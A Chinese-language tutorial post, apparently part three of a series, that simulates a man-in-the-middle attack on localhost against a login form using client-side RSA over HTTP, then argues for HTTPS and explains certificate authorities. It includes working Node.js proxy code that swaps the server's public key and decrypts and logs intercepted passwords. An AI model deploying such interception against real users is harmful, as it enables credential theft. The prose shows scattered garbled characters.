乐趣区

关于javascript:安全地在前后端之间传输数据-3真的安全吗

前置浏览:

  • 平安地在前后端之间传输数据 –「1」技术预研
  • 平安地在前后端之间传输数据 –「2」注册和登录示例

在「2」注册和登录示例中,咱们通过非对称加密算法实现了浏览器和 Web 服务器之间的平安传输。看起来所有都很美妙,然而危险就在哪里,有些人发现了,有些人嗅到了,更多人却浑然不知。就像是给门上了把好锁,还派了集体盯着,却没发现好人曾经从窗户潜进去了。

废话少说,先颁布答案:不平安!

如果想要平安,目前 最优解依然是应用 HTTPS

为什么不平安

不过为什么不平安呢?请思考一个问题:数据加密是基于服务器送过来的公钥,然而这个公钥的确是服务器收回来的那一个吗?

基于 HTTP 的传输是明文的,而且浏览器和服务器之间要通过若干网络节点(路由等),谁晓得公钥在传输的过程中没有被掉包!

如果公钥被掉包了,服务器晓得吗,它还能用原来的私钥把数据解进去吗?

带着这些个疑难,来看一张图:

在浏览器和服务器的传输过程中,黑客能够劫持服务器发放的公钥,并用本人产生的假公钥替换之,狸猫换太子。而后加密数据的传输过程中,黑客能够用本人的私钥解密(因为是用他发的假公钥加的密),并用正确的公钥加密送给服务器。这样就在浏览器和服务器都感知不到的状况下,把数据给偷走了。这种行为,称为中间人劫持攻打,上图的黑客就是那个中间人。

模仿中间人劫持

实在的中间人劫持过程也不是很简略的事件,不过咱们想钻研这个过程的话,能够模仿。

如果有两台计算机,能够用一台部署服务,另一台部署模仿的中间人。而后假如 DNS 被劫持(能够在路由器或客户机上配置 HOSTS),原本应该发送到服务器的申请,发送到中间人那里去了。而中间人就像代理服务器一样,在浏览器和服务器之间传递信息。

在一台计算机的状况下,能够将正确的服务启动在 80 端口,而将模仿的中间人服务启动在 3000 端口,而后拜访 http://localhost:3000 来伪装被劫持。

发明一个中间人

咱们用 Node.js 来模仿中间人,应用 koa-better-http-proxy 搭建反向代理,同时劫持 GET /api/public-key(获取公钥)、POST /api/user(注册)和 POST /api/user/login(登录)三个 API。劫持「获取公钥」和「注册」两个接口就能够拿到用户的明码,然而在劫持「获取公钥」并替换掉公钥之后,必须要对所有加密数据进行「解密 - 从新加密」的解决,不然服务器不能获取正确的加密数据(浏览器应用中间人的证书加密的数据,服务端没有配对的私钥,解不进去)。

搭建一个叫 intermediator-demo 的 Node.js 我的项目,次要的模块有:

  • koa,Web 框架
  • koa-better-http-proxy,Koa 的反向代理中间件
  • qs,次要用来解决 POST 申请的 payload

次要我的项目构造:

INTERMEDIATOR-DEMO
 ├── server             // 服务端业务逻辑
 │   ├── interceptor.js // 劫持解决管理工具函数(注册 / 执行等)│   ├── hack.js        // 劫持解决申请 / 响应的逻辑
 │   ├── rsa.js         // 加解密相干工具,基本上是从服务端拷贝过去的
 │   └── index.js       // 服务端利用入口
 ├── .editorconfig
 ├── .eslintrc.js
 ├── .gitignore
 └── package.json

index.js 中的反向代理

应用 koa-better-http-proxy 搭建反向代理比较简单,只须要在 Koa 实例中应用代理中间件即可,大抵逻辑如下:

import Koa from "koa";
import proxy from "koa-better-http-proxy";

const app = new Koa();
app.use(
    proxy(
        "localhost",
        {
            proxyReqBodyDecorator: ...,  // 省略号占位示意
            userResDecorator: ...,       // 省略号占位示意
        }
    )
);

app.listen(3000, () => {console.log("intermediator at: http://localhost:3000/");
});

这里 proxyReqBodyDecoratoruserResDecorator 中别离用来劫持申请和响应,怎么应用在文档中都说得很分明。

劫持公钥 GET /api/public-key

劫持公钥的过程是将服务器返回的公钥保存起来,而后返回本人发的假公钥:

userResDecorator: (res, resDataBuffer, ctx) => {const { req} = res;
    const {method, path} = req;
    if (method === "GET" && path === "/api/public-key") {
        // resDataBuffer 是 Buffer 类型,须要先转成字符串
        const text = resDataBuffer.toString("utf8");
        const {key} = JSON.parse(text);
        // 保留服务器发过来的「真·公钥」saveRealPublicKey(key);
        // 响应本人发的「假·公钥」return JSON.stringify({key: await getPublicKey() });
    } else {
        // 其余状况不劫持,间接返回原响应内容
        return resDataBuffer;
    }
}

先依据 methodpath 确定要劫持的申请,而后从服务器响应中拿到实在的公钥用 saveRealPublicKey() 保留到 .data/REAL-KEY 文件中。这里的 saveRealPublicKey() 能够参照上一节中 rsa.js 中保留公钥的局部:

const filePathes = {
    ......
    real: path.join(".data", "REAL-KEY"),
}

export async function saveRealPublicKey(key) {return fsPromise.writeFile(filePathes.real, key);
}

前面用到的 getPublicKey() 就是上一节写的那个,因为中间人也会像服务器一样产生密钥对。

重构:增加劫持管理工具

写完对 GET /api/public-key 的劫持之后,能够发现,每次劫持都须要依据 methodpath(或前缀、匹配模式等)来对劫持解决,进行逻辑分支。既然如此,无妨写一个简略的劫持管理工具,配置管理 methodpathhandler(劫持解决)之间的关系,并主动匹配调用处理函数。

这样一来,只须要按劫持阶段(申请 / 响应)分成两个配置:requestInterceptorsresponseInterceptors,这是两个数组,其中的元素构造是:

{
    "method": "字符串,匹配 HTTP 办法,应用 === 准确比拟",
    "test": "匹配函数,依据申请地址判断是否匹配得上",
    "handler": "处理函数,对匹配上的进行调用进行劫持逻辑解决",
}

注册逻辑是:

function register(method, test, fn) {
    // 这里是 requestInterceptors 或 responseInterceptors
    xxxInterceptors.push({
        method,
        // 如果 test 是提供的字符串,就解决成准确相等的判断函数
        test: typeof path === "function" ? test : path => path === test,
        handler: fn,
    });
}

调用的逻辑是(申请和响应类似,只是取 methodpath 的细节略有不同):

// 以响应的逻辑为例
function invoke(res, dataBuffer, ctx) {const { req} = res;
    const {method, path} = req;
    const interceptor = responseInterceptors
        .find(opt => opt.method === method && opt.test(path));

    // 没有注册劫持逻辑,间接返回原响应内容
    if (!interceptor) {return dataBuffer;}
    // 找到注册逻辑,调用其处理函数
    return interceptor.handler(res, dataBuffer, ctx);
}

因为在解决响应的时候,个别都须要把 Buffer 类型的 dataBuffer 转换成字符串类型,所以能够在调用之前做一些预处理。本文讲逻辑,不详述这些改良细节,须要理解细节请浏览文末提供的示例源代码。

劫持注册 / 和登录

劫持注册和登录都须要在申请阶段进行,将申请中加密的明码,用本人的「假·私钥」解进去,再用保留的「真·公钥」加密送给服务器。因为在这次的示例中,注册和登录的 payload 完全相同,都是 {username, password},所以能够用同一个劫持解决逻辑:

(bodyBuffer, ctx) => {
    // bodyBuffer 转换成字符串是 QueryString 格局的 payload 数据
    const body = qs.parse(bodyBuffer.toString("utf8"));
    // 应用「假·私钥」解密,这跟上一节解密一样
    const originalPassword = await decrypt(body.password);
    // 获取加密数据原文,进行保留等业务解决(这里用输入到控制台代替)console.log("[拦挡到明码]", `${originalPassword} (${body.username})`);
    // 应用「真·公钥」加密,encrypt 稍后阐明
    body.password = await encrypt(originalPassword);
    // 不能间接返回对象,能够是字符串或 Buffer
    return qs.stringify(body);
}

其中 decrypt() 就是上一节服务端的那个。不过上一节服务端没有 encrypt(),所以须要用 crypto 模块写一个 encrypt() 办法。中间人只须要用「真·公钥」加密,所以获取密钥逻辑能够间接封装成 encrypt() 中。

export async function encrypt(data) {
    // 获取「真·公钥」const key = await getRealPublicKey();

    return crypto.publicEncrypt(
        {
            key,
            // 别忘了指定 PKCS#1 Padding
            padding: crypto.constants.RSA_PKCS1_PADDING,
        },
        Buffer.from(data, "utf-8"),
    ).toString("base64");
}

跑起来试试

写代码总会有 BUG,调试的过程中必定还要做一些修整。最终,中间人在 http://localhost:3000/ 提供了服务。因为中间人理论是一个代理服务,所以原来在 http://localhost/ 跑的实在服务也须要启动起来。

当初伪装曾经被黑客劫持,所以咱们间接拜访 http://localhost:3000/,能够看到界面,也能够像原来一样的操作,就跟没有中间人一样,毫无同样的感觉。

不过在中间人的控制台中,咱们能够看到被劫持到的明码原文

通过下面的试验,咱们曾经能够证实:公钥可能被劫持,非对称加密也有破绽

好可怕,怎么办?

因为中间人劫持,咱们必须想方法用平安的伎俩去拿到正确的公钥。

有一个很间接很暴力的方法:亲自去服务提供方拿公钥 —— 这个方法的确无效,但不实用。

另一个方法,咱们不去服务器上拿公钥,而是去一个值得信赖的中央拿公钥。

那么,哪里是可信的?

CA(证书签发机构)是可信的。然而要去 CA 拿证书,依然须要通过网络,依然可能被劫持。CA 会怎么办?

CA 会对收回来的证书进行签名,客户方拿到数据之后,能够应用 CA 的公钥来验证签名是否正确。这样能够保障拿到的数据不被篡改。然而通过逻辑推导,会发现:获取 CA 公钥的时候依然存在被劫持的可能 …… 兜兜转转,难道无解?

如果所有依赖于网络传输,真的无解。不过 CA 的公钥并不是通过网络去获取的,而是 操作系统 / 浏览器内置 的,这就相似后面所说的第一种方法,间接由操作系统 / 浏览器供应商(Microsoft、Apple、Mozilla 等)拿到,内置在零碎中。这些证书由 CA 和供应商提供信用保障。因为它们是证书信赖链的终点,所以称为根证书。

好了,逻辑通了,然而钻研的后果很显著:平安的传输过程离不开 CA 参加,而有 CA 参加了,何苦还要本人去写加密 / 解密,间接用 HTTPS 不香么

这么说来,咱们这三篇文章的钻研不是白干了?也没有,至多有两个播种:

  • 科谱了平安传输的相干基础知识(有没有意识到盗版操作系统的危险?);
  • 如果切实没条件上 HTTPS,至多晓得一个绝对平安的传输办法,而且明确其面临的危险。

源码下载

  • Intermediator Demo
退出移动版